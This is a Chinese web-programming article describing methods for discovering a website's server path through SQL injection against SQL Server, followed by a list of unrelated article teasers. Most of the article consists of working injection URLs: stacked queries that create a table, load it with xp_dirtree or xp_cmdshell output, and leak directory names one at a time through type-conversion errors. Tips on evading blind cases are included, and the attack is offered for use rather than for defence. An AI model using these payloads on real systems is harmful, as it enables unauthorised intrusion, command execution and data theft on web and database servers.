网络编程
位置:首页>> 网络编程>> 数据库>> SQL Server取得网站路径的几种方法及比较

SQL Server取得网站路径的几种方法及比较

作者:安娜  发布时间:2008-12-09 14:15:00 

标签:

如果网站只开了80端口,你会发现下面的方法是比较有用的,其中用的方法几乎都不是我发现的,文总包括一些注入时的个人经验和技巧方法可以说有4种(现在已知的)

第一种方法:

这个是<<怪异的SQL注入>>中介绍的方法

利用sqlserver的xp_dirtree,好的我们先来将一下方法,然后再说其优劣处(在原文的基础上作了点补充)

建立表

语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!说明建表成功!继续!

(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree &rsquo;c:\&rsquo; --

返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。(好像只有暴这种方法了)

语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 &rsquo;@Inetpub&rsquo;转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( &rsquo;@Inetpub&rsquo;))--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 &rsquo;test&rsquo;转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!


好我们继续


语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from


dirs where paths not in( &rsquo;@Inetpub&rsquo;,&rsquo;test&rsquo;))--


返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07


将 varchar 值 &rsquo;haha&rsquo;转换为数据类型为 int 的列时发生语法错误。


再依次爆出表中的目录名称!


好了,你应该知道怎么做了吧,哈哈,就是把得到的表名添到那个括号里,有多少就放多少吧,


一点技巧:


有时候你会发现当输入类似


http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-


时不是显示出错,而是网页显示正常


晕了吧,别紧张哈


看看0<>(select top 1 paths from dirs) 说明返回是一个数字,


哈哈,测试一下看看是多少吧


100>(select top 1 paths from dirs)


返回正常


哈哈,用这种大于小于的我们继续


比如当出现

59=(select top 1 paths from dirs)

返回正常,

ok,说明名字是59

输入如下

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( &rsquo;59&rsquo;))--

记得带上引号哟

下面的方法就和原来的一样的了

还有一个问题就是

有时候用上面的方法输入59时,发现下一次的文件夹还是59

这个是怎么回事情呢?

呵呵,不知道你有没有注意过059和59是一样的?

就是这个原因了,哈哈,

http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( &rsquo;059&rsquo;))--

发现显示下一个文件夹名字了,ok

优缺点分析:

优点就是所有的sqlserver用户都可以使用,因为xp_dirtree适用权限PUBLIC,

缺点是显示的是目录下的所有文件夹的名字,而且排列好像是没有什么顺序的,总之在好几千好几万个文件夹里找你想要的文件夹是痛苦的.

而且你知道了有那个文件夹也不能保证在根目录下,实在是痛苦的一件事情呀,很多时候是靠运气和耐力.

方法二:

利用xp_cmdshell

哈哈,这个大家一定很熟悉了吧,我就简单说一下

建立表

语句:http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000))--

返回:正常的信息!说明建表成功!继续!

(建的比原文的大一点,因为我遇过名子很长的文件,删除了那个id,因为没有什么用

语句:http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_cmdshell &rsquo;dir c:\ /B/D&rsquo; --

返回:正常信息。说明写入C盘的所有目录成功了!这里用了dir c:\ /B/D,哈哈,不知道/B/D什么作用就试验试验看

语句:http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 &rsquo;@Inetpub&rsquo;转换为数据类型为 int 的列时发生语法错误。

再依次爆出表中的目录名称!

语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from

dirs where paths not in( &rsquo;@Inetpub&rsquo;))--

返回:Microsoft OLE DB Provider for SQL Server 错误 80040e07

将 varchar 值 &rsquo;test&rsquo;转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!

方法同上,就不说了

有时候我们也可以用下面的两个扩展来干些事情

0
投稿

猜你喜欢

  • 又一个js加密工具:js混淆,完整源代码如下,有点长呵呵:<HTML><HEAD><TITLE>Cunf
  • asp压缩access数据库,具体asp代码见下: Class DatabaseTools   &n
  • 1、看机器配置,指三大件:cpu、内存、硬盘2、看mysql配置参数3、查系mysql行状态,可以用mysqlreport工具来查看4、查看
  • 大概在九九年做游戏网站的时候,就对文章的发布感到麻烦,不过那会儿玩ASP不精。只是将就用着。在遇到长文件 10000 字时网页就是一大片长了
  • 测试环境:1:xp系统2:双显,1680×1050 + 1050×16803:chrome 版本4.14:ff版本3.6chrome是我的默
  •     大家在打开带有图片的网页时,有时会看到这样的情况:当鼠标指向图片的不同部位时,可以打开不同的超链接,这
  • jQuery 1.4 源码 449 行(core.js 431 行),判断是否为函数的方法如下(思路来源于 Douglas Crockfor
  • * 对子查询和Join进行了优化,包括对MyISAD和InnoB存储引擎分散范围内的批量索引访问。* 增加了 BACKUP DATABASE
  • 在使用ASP来进行后端的数据合法性校验的时候,有些人为满足不同环境下面的数据校验,编写了很多的函数来实现,比如,我们想要校验用户输入的URL
  • 不正确地调用Windows应用程序接口可能会产生一些意想不到的副作用,以及潜在地对一个应用程序的代码及数据段的破坏。正确地使用一个空的32位
  • 想要一个这玩意,可是找了网上许多着色器,要么是兼容性成问题,要么是匹配不精确,比如说:1、注释里包含字符串、关键词,类似于:/* xxxx&
  • 内容摘要:FCKeditor至今已经到了2.3.1版本了,对于国内的WEB开发者来说,也基本上都已经“闻风知多少”了,很多人将其融放到自己的
  • INSERT、DELETE、UPDATE 三种SQL语句是数据库技术的三大基本语句. 在通常的web开发中对它的处理可以说是无处不在. 如果
  • 经常有网友会问,SQL Server占用了太多的内存,而且还会不断的增长;或者说已经设置了使用内存,可它没有用到那么多,这是怎么一回事儿呢?
  • 如果你过分信任 Access 2000数据库的密码保护,你可能会因此而蒙受损失。这是因为Access 2000的数据库级密码并不安全,相反它
  • 很开心可以和导师阿坚在08gui大赛中一起去完成《fight》的图标设计,在这个过程中真的是受益匪浅!这里我谈一下在这个过程的一些小小心得。
  • 原来的题目设想为界面视觉效果的统一性,但是“统一”这个词似乎有点敏感,怕触动萌点无数,而我也无意去设定一个什么什么的统一性来侃侃而谈,极为专
  • 从大的发展来看,网站就是一块试验田,一块在错误中成长、在错误中变强变大的试验田。这决定了互联网产品的成长路线,一定是一个反复修正和迭代的曲线
  • 挖坟 交互设计(Interaction Design)产生于二十世纪八十年代,在1984年一次设计会议上,大名鼎鼎的英国交互设计师比尔·莫格
  • 昨天在书友会上讨论信息分类和方法,有位朋友问:“大家现在讨论的还是几年前那套web2.0的东西,有没有一些新的东西可以分享?”我当时确实感觉
手机版 网络编程 asp之家 www.aspxhome.com